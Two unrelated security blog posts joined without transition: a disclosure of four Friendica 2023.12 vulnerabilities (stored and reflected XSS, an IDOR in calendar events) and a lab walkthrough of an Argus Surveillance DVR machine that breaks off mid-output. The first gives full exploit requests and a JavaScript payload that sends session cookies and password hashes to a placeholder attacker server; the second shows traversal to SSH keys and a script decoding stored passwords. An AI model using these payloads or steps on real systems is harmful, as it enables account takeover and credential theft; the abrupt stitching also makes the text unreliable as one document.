This a short post disclosing the details of four vulnerabilities affecting Friendica 2023.12 which I identified in February 2024. The following vulnerabilties were discovered:

1. CVE-2024-27729:
   Stored Cross Site Scripting (XSS) in calendar event feature.
2. CVE-2024-27730:
   Access control, insecure direct object reference (IDOR) issue in calendar event feature.
3. CVE-2024-27728:
   Reflected XSS in Babel debug feature.
4. CVE-2024-27731:
   Reflected XSS via uploaded attachment file.

Each of the XSS vulnerabilities could be exploited to steal an administrator users session cookie or a regular users password hash. The permissions issue affecting the calendar event feature could be exploited to make calendar event posts on behalf of any other user on the Friendica server. When combined with the stored XSS affecting this feature this would allow an attacker to target any user on the server and steal their cookie or password hash when they sign in.

CVE-2024-27729 - Stored XSS in Calendar Event Posts

Friendica has a feature for creating events and sharing them with your followers. The events get shown in your followers feed as seen below:

The text provided in the location parameter when creating the event was not being santised or escaped when it was displayed in users feeds. This meant a simple XSS payload could be embedded within this parameter as shown in the request below:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=0&preview=0&summary=Test+Event&share=1&location=<script>alert("XSS")</script>&visibility=public

The javascript then executes in the browser of any user who views the event in their feed, i.e all of the users followers.

Exploiting the XSS with a CSRF Request

The primary session cookie for Friendica PHPSESSID was set with the HttpOnly flag meaning that it could not be accessed from JavaScript and therefore it was not possible to directly exfiltrate it from the context of the XSS. However, Friendica administrators had access to the phpinfo endpoint which disclosed the PHPSESSID cookie value.

There was also another endpoint that allowed users to backup their Friendica profile information which disclosed the logged in users password hash.

Using these two endpoints it was possible to create an XSS payload that would exfiltrate the users password hash and if the user was an admin also their session cookie:

<script>
var xhr1 = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr1.open('GET', '/admin/phpinfo', true);
xhr1.onload = function (){
	if (xhr1.status == 200){
		var cookie = xhr1.responseText.match(/HTTP_COOKIE\s*<\/td>\s*<td class="v">(.+)<\/td>/);
		if (cookie) {
			new Image().src = "https://<ATTACKERS-SERVER>?cookie=" + cookie[1];
		}
	}
};
xhr2.open('GET', '/settings/userexport/backup', true);
xhr2.onload = function () {
	if (xhr2.status == 200) {
		var hash = xhr2.responseText.match(/\"password\":\"([a-zA-Z0-9$\\/\.]+)\",/);
		if (hash) {
			new Image().src = "https://<ATTACKERS-SERVER>?hash=" + hash[1];
		}
	}
};
xhr1.send();
xhr2.send();
</script>

This payload could then be URL encoded and then injected into the location parameter of a new event. When any user views the event in their feed, a request containing their secrets is sent to the attackers server.

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=0&preview=0&summary=Test+Event&share=1&location=<script>var%20xhr1%20%3D%20new%20XMLHttpRequest%28%29%3Bvar%20xhr2%20%3D%20new%20XMLHttpRequest%28%29%3Bxhr1%2Eopen%28%27GET%27%2C%20%27%2Fadmin%2Fphpinfo%27%2C%20true%29%3Bxhr1%2Eonload%20%3D%20function%20%28%29%20%7B%20%20if%20%28xhr1%2Estatus%20%3D%3D%20200%29%20%7B%20%20%20%20var%20cookie%20%3D%20xhr1%2EresponseText%2Ematch%28%2FHTTP%5FCOOKIE%5Cs%2A%3C%5C%2Ftd%3E%5Cs%2A%3Ctd%20class%3D%22v%22%3E%28%2E%2B%29%3C%5C%2Ftd%3E%2F%29%3B%20%20%20%20if%20%28cookie%29%20%7B%20%20%20%20%20%20%20%20new%20Image%28%29%2Esrc%20%3D%20%22https%3A%2F%2FXXX%3F%22%20%2B%20cookie%5B1%5D%3B%20%20%20%20%7D%20%20%7D%20%7D%3Bxhr2%2Eopen%28%27GET%27%2C%20%27%2Fsettings%2Fuserexport%2Fbackup%27%2C%20true%29%3Bxhr2%2Eonload%20%3D%20function%20%28%29%20%7B%20%20if%20%28xhr2%2Estatus%20%3D%3D%20200%29%20%7B%20%20%20%20var%20hash%20%3D%20xhr2%2EresponseText%2Ematch%28%2F%5C%22password%5C%22%3A%5C%22%28%5Ba%2DzA%2DZ0%2D9%24%5D%2B%29%5C%22%2C%2F%29%3B%20%20%20%20if%20%28hash%29%20%7B%20%20%20%20%20%20%20%20new%20Image%28%29%2Esrc%20%3D%20%22https%3A%2F%2FXXX%3Fhash%3D%22%20%2B%20hash%5B1%5D%3B%20%20%20%20%7D%20%20%7D%20%7D%3Bxhr1%2Esend%28%29%3Bxhr2%2Esend%28%29%3B</script>&visibility=public

CVE-2024-27730 - Calendar Event IDOR Access Control Issue

There was also an IDOR vulnerability in the calendar event feature that allowed calendar events to be created on behalf of other users. This significantly heightened the impact of the previously described XSS vulnerability because, instead of solely targeting your followers, it made it possible to target any users on the server.

To make a calendar event as another user the contact ID cid value could simply be changed to another users contact ID in the POST request when creating a new calendar event:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=0&cid=<HERE>&preview=0&summary=Test+Event&share=1&location=&visibility=public

At this point the calendar event will be created as the other user, however, it is not shared with other users on the server. From looking at the source code the following lines of code are present at the end of the function which handles requests to create the events:

if (!$cid && $uriId) {
	Worker::add(Worker::PRIORITY_HIGH, 'Notifier', Delivery::POST, $uriId, $uid);
}

This shows that the event post will only be shared with other users when the cid value is 0. This clarifies why, when it is altered to another user’s contact ID, it is not displayed on that user’s or their followers' feeds.

To circumvent this the following POST request can be sent to edit the existing event:

POST /calendar/api/create HTTP/1.1
Host: 127.0.0.1
Content-Length: 110
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=0a138eb4bf1de976022d0858c1d02239

event_id=<EXISTING-EVENT-ID>&cid=0&preview=0&summary=Test+Event&share=1&location=&visibility=public

When editing the event it retains its original author and since the cid value has been changed to 0 the event is sent to the feed of all of the target users followers.

CVE-2024-27728 - Babel Debug Endpoint Reflected XSS

The text parameter on the babel debug endpoint was vulnerable to reflected XSS as it was not escaped before being returned in the HTML reponse:
https://<FRIENDICA-SERVER>/babel?text=<script>alert()</script>&type=html

The XSS payload provided in the sections above could also be used here to steal the victims password hash or session cookie if they are tricked into browsing to the malicious link.

CVE-2024-27731 - Lack of Uploaded File Type Validation Leads to XSS

There was no validation on the type of files that could be uploaded to the media attachment endpoint. It was not possible to achieve RCE via uploading a PHP file to the endpoint because the contents of the file were being stored in the Friendica database rather than as a file on the server. However, it was possible to achieve XSS by uploading an HTML file containing JavaScript, which could then be sent as a link to a victim user.

The following POST request uploads the HTML file:

POST /media/attachment/upload HTTP/1.1
Host: localhost
Content-Length: 293
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLpJlAvc1K60euTjM
Cookie: PHPSESSID=a6bf1f1d316d2b792959d4cb7750c2b3

------WebKitFormBoundaryLpJlAvc1K60euTjM
Content-Disposition: form-data; name="userfile"; filename="xss.html"
Content-Type: application/octet-stream

<html>
<body>
<script>alert("XSS")</script>
</body>
</html>
------WebKitFormBoundaryLpJlAvc1K60euTjM--

The uploaded file could then be linked to a victim with a link like the following, where <ATTACHMENT-ID> is the ID of the attachment returned in the previous POST request:
https://<FRIENDICA-SERVER>/attach/<ATTACHMENT-ID>?attachment=0

Note, the attachment parameter must be set to 0 so that the Content-Disposition: attachment header does not get added and cause the file to be downloaded as an attachment.

This post contains rough notes explaining my process for exploiting the Hetemit Proving Grounds box while preparing for the OSCP certification.

My Process

Firstly I performed a port scan with nmap:

  sudo nmap -p- -T4 -A -sS -v --open -oA nmap 192.168.236.179
(o)Nmap scan report for 192.168.236.179
(o)Host is up (0.21s latency).
(o)Not shown: 65533 filtered tcp ports (no-response)
(o)Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
(o)PORT     STATE SERVICE    VERSION
(o)22/tcp   open  ssh        Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
(o)| ssh-hostkey:
(o)|   3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA)
(o)|_  384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA)
(o)8080/tcp open  http-proxy
(o)|_http-favicon: Unknown favicon MD5: 283B772C1C2427B56FC3296B0AF42F7C
(o)| http-methods:
(o)|_  Supported Methods: GET HEAD POST OPTIONS
(o)|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
(o)|_http-title: Argus Surveillance DVR
(o)| fingerprint-strings:
(o)|   GetRequest, HTTPOptions:
(o)|     HTTP/1.1 200 OK
(o)|     Connection: Keep-Alive
(o)|     Keep-Alive: timeout=15, max=4
(o)|     Content-Type: text/html
(o)|     Content-Length: 985
(o)|     <HTML>
(o)|     <HEAD>
(o)|     <TITLE>
(o)|     Argus Surveillance DVR
(o)|     </TITLE>
(o)|     <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
(o)|     <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]">
(o)|     <frameset frameborder="no" border="0" rows="75,*,88">
(o)|     <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0">
(o)|     <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0">
(o)|     <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0">
(o)|     <noframes>
(o)|     <p>This page uses frames, but your browser doesn't support them.</p>
(o)|_    </noframes>
(o)1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
(o)SF-Port8080-TCP:V=7.94%I=7%D=9/3%Time=64F418A3%P=x86_64-pc-linux-gnu%r(Get
(o)SF:Request,451,"HTTP/1\.1\x20200\x20OK\r\nConnection:\x20Keep-Alive\r\nKee
(o)SF:p-Alive:\x20timeout=15,\x20max=4\r\nContent-Type:\x20text/html\r\nConte
(o)SF:nt-Length:\x20985\r\n\r\n<HTML>\r\n<HEAD>\r\n<TITLE>\r\nArgus\x20Survei
(o)SF:llance\x20DVR\r\n</TITLE>\r\n\r\n<meta\x20http-equiv=\"Content-Type\"\x
(o)SF:20content=\"text/html;\x20charset=ISO-8859-1\">\r\n<meta\x20name=\"GENE
(o)SF:RATOR\"\x20content=\"Actual\x20Drawing\x206\.0\x20\(http://www\.pysoft\
(o)SF:.com\)\x20\[PYSOFTWARE\]\">\r\n\r\n<frameset\x20frameborder=\"no\"\x20b
(o)SF:order=\"0\"\x20rows=\"75,\*,88\">\r\n\x20\x20<frame\x20name=\"Top\"\x20
(o)SF:frameborder=\"0\"\x20scrolling=\"auto\"\x20noresize\x20src=\"CamerasTop
(o)SF:Frame\.html\"\x20marginwidth=\"0\"\x20marginheight=\"0\">\x20\x20\r\n\x
(o)SF:20\x20<frame\x20name=\"ActiveXFrame\"\x20frameborder=\"0\"\x20scrolling
(o)SF:=\"auto\"\x20noresize\x20src=\"ActiveXIFrame\.html\"\x20marginwidth=\"0
(o)SF:\"\x20marginheight=\"0\">\r\n\x20\x20<frame\x20name=\"CamerasTable\"\x2
(o)SF:0frameborder=\"0\"\x20scrolling=\"auto\"\x20noresize\x20src=\"CamerasBo
(o)SF:ttomFrame\.html\"\x20marginwidth=\"0\"\x20marginheight=\"0\">\x20\x20\r
(o)SF:\n\x20\x20<noframes>\r\n\x20\x20\x20\x20<p>This\x20page\x20uses\x20fram
(o)SF:es,\x20but\x20your\x20browser\x20doesn't\x20support\x20them\.</p>\r\n\x
(o)SF:20\x20</noframes>\r")%r(HTTPOptions,451,"HTTP/1\.1\x20200\x20OK\r\nConn
(o)SF:ection:\x20Keep-Alive\r\nKeep-Alive:\x20timeout=15,\x20max=4\r\nContent
(o)SF:-Type:\x20text/html\r\nContent-Length:\x20985\r\n\r\n<HTML>\r\n<HEAD>\r
(o)SF:\n<TITLE>\r\nArgus\x20Surveillance\x20DVR\r\n</TITLE>\r\n\r\n<meta\x20h
(o)SF:ttp-equiv=\"Content-Type\"\x20content=\"text/html;\x20charset=ISO-8859-
(o)SF:1\">\r\n<meta\x20name=\"GENERATOR\"\x20content=\"Actual\x20Drawing\x206
(o)SF:\.0\x20\(http://www\.pysoft\.com\)\x20\[PYSOFTWARE\]\">\r\n\r\n<framese
(o)SF:t\x20frameborder=\"no\"\x20border=\"0\"\x20rows=\"75,\*,88\">\r\n\x20\x
(o)SF:20<frame\x20name=\"Top\"\x20frameborder=\"0\"\x20scrolling=\"auto\"\x20
(o)SF:noresize\x20src=\"CamerasTopFrame\.html\"\x20marginwidth=\"0\"\x20margi
(o)SF:nheight=\"0\">\x20\x20\r\n\x20\x20<frame\x20name=\"ActiveXFrame\"\x20fr
(o)SF:ameborder=\"0\"\x20scrolling=\"auto\"\x20noresize\x20src=\"ActiveXIFram
(o)SF:e\.html\"\x20marginwidth=\"0\"\x20marginheight=\"0\">\r\n\x20\x20<frame
(o)SF:\x20name=\"CamerasTable\"\x20frameborder=\"0\"\x20scrolling=\"auto\"\x2
(o)SF:0noresize\x20src=\"CamerasBottomFrame\.html\"\x20marginwidth=\"0\"\x20m
(o)SF:arginheight=\"0\">\x20\x20\r\n\x20\x20<noframes>\r\n\x20\x20\x20\x20<p>
(o)SF:This\x20page\x20uses\x20frames,\x20but\x20your\x20browser\x20doesn't\x2
(o)SF:0support\x20them\.</p>\r\n\x20\x20</noframes>\r");
(o)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
(o)Device type: general purpose
(o)Running (JUST GUESSING): Microsoft Windows XP (89%)
(o)OS CPE: cpe:/o:microsoft:windows_xp::sp3
(o)Aggressive OS guesses: Microsoft Windows XP SP3 (89%)
(o)No exact OS matches for host (test conditions non-ideal).
(o)Network Distance: 4 hops
(o)TCP Sequence Prediction: Difficulty=263 (Good luck!)
(o)IP ID Sequence Generation: Incremental
(o)Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
(o)
(o)TRACEROUTE (using port 8080/tcp)
(o)HOP RTT       ADDRESS
(o)1   204.71 ms 192.168.45.1
(o)2   204.66 ms 192.168.45.254
(o)3   206.66 ms 192.168.251.1
(o)4   207.00 ms 192.168.236.179
(o)
(o)Read data files from: /usr/bin/../share/nmap
(o)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
(o)# Nmap done at Sun Sep  3 17:25:53 2023 -- 1 IP address (1 host up) scanned in 279.63 seconds
  

I browsed to port 8080 in my browser:

I browsed the web app, and found that the users page showed there were users called Administrator and viewer.

I did some research on Argus Surveillance and found multiple exploits on exploitdb.
The first interesting one was the directory traversal vulnerability discussed in this file here as it is an unauthenticated exploit.
Another intersting exploit was this one here which decodes the weak encoding that Argus Surveillance uses to encode users passwords. This exploit states that the Argus Surveillance passwords are stored in the location: C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

An idea I had was to chain these two exploits together, and use the directory traversal to read the Argus Surveillance encoded passwords and then the other exploit to decode them.

So I first tested if the directory traversal shown in the exploit worked and it did. I then used the directory traversal to read the configuration file:

But unfortunately there were no passwords shown there.

The machine had the ssh port open so I then tried to access users ssh keys. For the users I tried using the users I found earlier while browsing the web app. When testing for the viewer user I got access to that users ssh key:

I then saved the key to a file and used the chmod 600 command to give it the right permissions to use with ssh.
I tried to connect with ssh but couldnt connect due to tmux’s custom $TERM environment variable not being recognised by the remote machine. So I simply overwrote the environment variable with xterm-256color and then I could connect.

  ssh viewer@192.168.202.179 -i viewer.ssh
(o)Terminal initialization failure. See server logs for more info.
(o)Hint: Try requesting a different terminal environment.
(o)Connection to 192.168.202.179 closed.
(o)
TERM=xterm-256color
(o)
ssh viewer@192.168.202.179 -i viewer.ssh
(o)Microsoft Windows [Version 10.0.19042.1348]
(o)(c) Microsoft Corporation. All rights reserved.
(o)
C:\Users\viewer>

The viewer user had the SeShutdownPrivilege permission which I noted, as it would be useful if I found a service to exploit.

  C:\Users\viewer>whoami /priv
(o)
(o)PRIVILEGES INFORMATION
(o)----------------------
(o)
(o)Privilege Name                Description                          State
(o)============================= ==================================== =======
(o)SeShutdownPrivilege           Shut down the system                 Enabled
(o)SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
(o)SeUndockPrivilege             Remove computer from docking station Enabled
(o)SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
(o)SeTimeZonePrivilege           Change the time zone                 Enabled

When I had been searching for exploits on Argus Surveillance at the initial enumeration phase I saw the exploit here which says that the Argus Surveillance DVR Watchdog service at location C:\Program Files\Argus Surveillance DVR\DVRWatchdog.exe has an unquoted service path.

So then I checked to see if I had write permissions in C:\ or C:\Program Files.

  PS C:\Program Files> icacls C:\
(o)C:\ BUILTIN\Administrators:(OI)(CI)(F)
(o)    NT AUTHORITY\SYSTEM:(OI)(CI)(F)
(o)    BUILTIN\Users:(OI)(CI)(RX)
(o)    NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(M)
(o)    NT AUTHORITY\Authenticated Users:(AD)
(o)    Mandatory Label\High Mandatory Level:(OI)(NP)(IO)(NW)
(o)
(o)Successfully processed 1 files; Failed processing 0 files
PS C:\Program Files> icacls C:\"Program Files"
(o)C:\Program Files NT SERVICE\TrustedInstaller:(F)
(o)                 NT SERVICE\TrustedInstaller:(CI)(IO)(F)
(o)                 NT AUTHORITY\SYSTEM:(M)
(o)                 NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(F)
(o)                 BUILTIN\Administrators:(M)
(o)                 BUILTIN\Administrators:(OI)(CI)(IO)(F)
(o)                 BUILTIN\Users:(RX)
(o)                 BUILTIN\Users:(OI)(CI)(IO)(GR,GE)
(o)                 CREATOR OWNER:(OI)(CI)(IO)(F)
(o)                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(RX)
(o)                 APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
(o)                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(RX)
(o)                 APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(OI)(CI)(IO)(GR,GE)
(o)
(o)Successfully processed 1 files; Failed processing 0 files

Unfortunately I didnt so exploiting this wasnt going to work.

There is another exploit on exploit db here that requires creating a DLL and putting it in the service directory but again this would require write permissions in the service directory which I did not have.

I then did more enumeration of the file system and returned to the C:\ProgramData\PY_Software\Argus Surveillance DVR directory to check out the DVRParams.ini configuration file:

  C:\ProgramData\PY_Software\Argus Surveillance DVR>type DVRParams.ini
(o)[Main]
(o)ServerName=
(o)ServerLocation=
(o)ServerDescription=
(o)ReadH=0
(o)UseDialUp=0
(o)DialUpConName=
(o)DialUpDisconnectWhenDone=0
(o)DialUpUseDefaults=1
(o)DialUpUserName=
(o)DialUpPassword=
(o)DialUpDomain=
(o)DialUpPhone=
(o)ConnectCameraAtStartup=1
(o)ConnectSessionFile=Argus Surveillance DVR.DVRSes
(o)StartAsService=1
(o)RunPreviewAtStartup=1
(o)FullScreenAtStartup=0
(o)GalleryFolder=C:\ProgramData\PY_Software\Argus Surveillance DVR\Gallery\
(o)RecordEncryptionPassword=
(o)RecordFrameInterval=200
(o)RecordMaxFileSize=0
(o)RecordEncryption=0
(o)RecordAllTime=0
(o)RecordSound=1
(o)RecordMotion=1
(o)RecordCamName=1
(o)RecordCamLocation=1
(o)RecordCamDescript=1
(o)HTTP_AlwaysActive=1
(o)HTTP_Port=8080
(o)HTTP_Interval=100
(o)HTTP_LimitViewers=0
(o)HTTP_NeedAuthorization=0
(o)HTTP_NeedLocalAuthorization=0
(o)HTTP_MaxNumberOfViewers=100
(o)HTTP_AudioEnabled=1
(o)HTTP_StreamEnabled=1
(o)HTTP_EncriptionType=0
(o)HTTP_VideoBitRate=204800
(o)HTTP_DisconnectInactiveUsers=0
(o)HTTP_MaxInactivityTime=0
(o)HTTP_MaxConnectionMinutes=0
(o)HTTP_ReconnectAgain=0
(o)WriteHTTPLog=1
(o)WriteMotionLog=1
(o)WriteEventsLog=1
(o)LimitMaxSizeOfLogFile=1
(o)MaxSizeOfLogFile=10000
(o)UseRedirect=1
(o)UseWebMonitoring=0
(o)PYSoftAccountEmail=
(o)PYSoftAccountPsw=
(o)AskLoginAtStartup=0
(o)TaskTrayPassword=
(o)StealthMode=0
(o)AskForConfirmationOnExit=0
(o)Watchdog_PollingIntrvl=20
(o)Watchdog_RestartProgramPolls=20
(o)Watchdog_Reboot=0
(o)Watchdog_RebootTries=20
(o)Watchdog_RebootPeriodically=1
(o)Watchdog_RebootPeriodclType=1
(o)Watchdog_RebootInterval=1
(o)Watchdog_Hours=24
(o)Watchdog_Days=1
(o)Watchdog_DayOfWeek=0
(o)Watchdog_Month=1
(o)Watchdog_RebootIfCPU=0
(o)Watchdog_RebootIfCPUType=0
(o)Watchdog_CPU=98
(o)Watchdog_RebootIfCPUPolls=20
(o)Watchdog_IsRemoteAccess=0
(o)Watchdog_AccessPort=10000
(o)Watchdog_AccessID=
(o)Watchdog_AccessPsw=
(o)DynIPNextConnectTime0=0
(o)DynIPNextConnectTime1=0
(o)MonitorNextConnectTime0=0
(o)MonitorNextConnectTime1=0
(o)SMSNextConnectTime0=0
(o)SMSNextConnectTime1=0
(o)UseScreenSaver=0
(o)ScreenSaveTimeOut=5
(o)MaxFileSize=2048
(o)StreamToWeb=0
(o)WebPageBackColor=16767949
(o)WebPageTextColor=0
(o)WebPageLinkColor=0
(o)WebPageActiveLnkColor=0
(o)WebPageVisitedLnkColor=0
(o)WebPageActiveXColor=0
(o)PreviewByOCX=1
(o)ReduceCPUUsage=1
(o)MaximumCPUUsage=95
(o)ActionsAllTime=0
(o)DetectMotion=0
(o)DetectionInterval=500
(o)MotionDetectionDelay=1000
(o)DifferencesThreshold=5
(o)MotionDifSensitivity=0
(o)MotionDontTriggerIfMuch=0
(o)MotionDontTriggerTrshld=90
(o)MotionSensitivityCnst=90
(o)MotionSensitivity1=30
(o)MotionSensitivity2=21
(o)MotionSensitivity3=17
(o)MotionSensitivity4=15
(o)MotionSensitivity5=15
(o)MotionSensitivity6=17
(o)MotionSensitivity7=21
(o)MotionSensitivity8=30
(o)MotionMinActionDuration=2000
(o)MotionSendEmail=0
(o)EmailUsePysoftMailServer=0
(o)MotionEmailServer=
(o)MotionEmailNeedPassword=0
(o)MotionEmailAccountName=
(o)MotionEmailPassword=
(o)MotionEmailSMTPPort=25
(o)MotionEmailSender=
(o)MotionEmailAddress=
(o)MotionEmailSubject=4D6F74696F6E207B4D4F54494F4E7D2520686173206265656E206465746563746564212121
(o)MotionEmailMessage=43616D65726120237B43414D4552417D206174207B68683A6E6E3A73737D20686173206465746563746564207B4D4F54494F4E7D25206D6F74696F6E20696E2074686520776
(o)1746368656420617265612E
(o)MotionEmailInterval=20
(o)MotionEmailAttachImage=1
(o)MotionEmailNumberOfImages=3
(o)MotionEmailPriority=1
(o)FacesDetect=0
(o)FacesHighlight=1
(o)FaceDetectSensitivityInPercents=50
(o)FaceDetecMinFaceInPercents=10
(o)MotionPlaySound=0
(o)MotionSoundFile=
(o)MotionLanchApplication=0
(o)MotionApplicationFile=
(o)MotionRecordVideo=0
(o)MotionVideoDuration=120
(o)MotionPreVideoDuration=2
(o)MotionWriteSnapshots=0
(o)MotionSnapshotDuration=10
(o)MotionChangeSettings=0
(o)MotionImageQuality=70
(o)MotionSoundQuality=70
(o)MotionRecordInterval=133
(o)MotionChangeSettingsDuration=10
(o)MotionDrawMotionValue=0
(o)MotionHighlightMoving=0
(o)SendSMS=0
(o)SMSSender=
(o)SMSPhone=
(o)SMSMessage=43616D65726120237B43414D4552417D206174207B68683A6E6E3A73737D20686173206465746563746564207B4D4F54494F4E7D25206D6F74696F6E20696E207468652077617463686
(o)56420617265612E
(o)RemoveObsoleteFiles=1
(o)DaysToDeleteObsoleteFiles=7
(o)LastReadNetCamsListDay=45173
(o)
(o)[Users]
(o)LocalUsersCount=2
(o)UserID0=434499
(o)LoginName0=Administrator
(o)FullName0=60CAAAFEC8753F7EE03B3B76C875EB607359F641D9BDD9BD8998AAFEEB60E03B7359E1D08998CA797359F641418D4D7BC875EB60C8759083E03BB740CA79C875EB603CD97359D9BDF641
(o)4D7BB740CA79F6419083
(o)FullControl0=1
(o)CanClose0=1
(o)CanPlayback0=1
(o)CanPTZ0=1
(o)CanRecord0=1
(o)CanConnect0=1
(o)CanReceiveAlerts0=1
(o)CanViewLogs0=1
(o)CanViewCamerasNumber0=0
(o)CannotBeRemoved0=1
(o)MaxConnectionTimeInMins0=0
(o)DailyTimeLimitInMins0=0
(o)MonthlyTimeLimitInMins0=0
(o)DailyTrafficLimitInKB0=0
(o)MonthlyTrafficLimitInKB0=0
(o)MaxStreams0=0
(o)MaxViewers0=0
(o)MaximumBitrateInKb0=0
(o)AccessFromIPsOnly0=
(o)AccessRestrictedForIPs0=
(o)MaxBytesSent0=0
(o)Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
(o)Description0=60CAAAFEC8753F7EE03B3B76C875EB607359F641D9BDD9BD8998AAFEEB60E03B7359E1D08998CA797359F641418D4D7BC875EB60C8759083E03BB740CA79C875EB603CD97359D9BDF
(o)6414D7BB740CA79F6419083
(o)Disabled0=0
(o)ExpirationDate0=0
(o)Organization0=
(o)OrganizationUnit0=
(o)Phone10=
(o)Phone20=
(o)Fax0=
(o)Email0=
(o)Position0=
(o)Address10=
(o)Address20=
(o)City0=
(o)StateProvince0=
(o)ZipPostalCode0=
(o)Country0=
(o)ComputerID0=
(o)TrialAccount0=0
(o)UserID1=576846
(o)LoginName1=Viewer
(o)FullName1=
(o)FullControl1=1
(o)CanClose1=1
(o)CanPlayback1=1
(o)CanPTZ1=1
(o)CanRecord1=1
(o)CanConnect1=1
(o)CanReceiveAlerts1=1
(o)CanViewLogs1=1
(o)CanViewCamerasNumber1=0
(o)CannotBeRemoved1=0
(o)MaxConnectionTimeInMins1=0
(o)DailyTimeLimitInMins1=0
(o)MonthlyTimeLimitInMins1=0
(o)DailyTrafficLimitInKB1=0
(o)MonthlyTrafficLimitInKB1=0
(o)MaxStreams1=0
(o)MaxViewers1=0
(o)MaximumBitrateInKb1=0
(o)AccessFromIPsOnly1=
(o)AccessRestrictedForIPs1=
(o)MaxBytesSent1=0
(o)Password1=5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE
(o)Description1=
(o)Disabled1=0
(o)ExpirationDate1=0
(o)Organization1=
(o)OrganizationUnit1=
(o)Phone11=
(o)Phone21=
(o)Fax1=
(o)Email1=
(o)Position1=
(o)Address11=
(o)Address21=
(o)City1=
(o)StateProvince1=
(o)ZipPostalCode1=
(o)Country1=
(o)ComputerID1=
(o)TrialAccount1=0
  

This file had lots more information in it than when I accessed it from the directory traversal vulnerability, which I have no idea why didnt show up back then.

From the file I gathered the encoded passwords from the Administrator and viewer users:
Administrator: Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8
Viewer: Password1=5E534D7B6069F641E03BD9BD956BC875EB603CD9D8E1BD8FAAFE

Below is the python script from the exploit from exploitdb that decodes the encoded passwords. I made a minor change to make the password get printed out on a single line.

# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack

# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}

# ASCII art is important xD
banner = '''
#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8"
if (len(pass_hash)%4) != 0:
	print("[!] Error, check your password hash")
	exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
	split.append(pass_hash[index : index + n])

for key in split:
	if key in characters.keys():
		print(characters[key], end="")
	else:
		print("[-] " + key + ":Unknown")

Using it to decode both of the passwords:

  (o)python3 50130.py
(o)
(o)#########################################
(o)#    _____ Surveillance DVR 4.0         #
(o)#   /  _  \_______  ____  __ __  ______ #
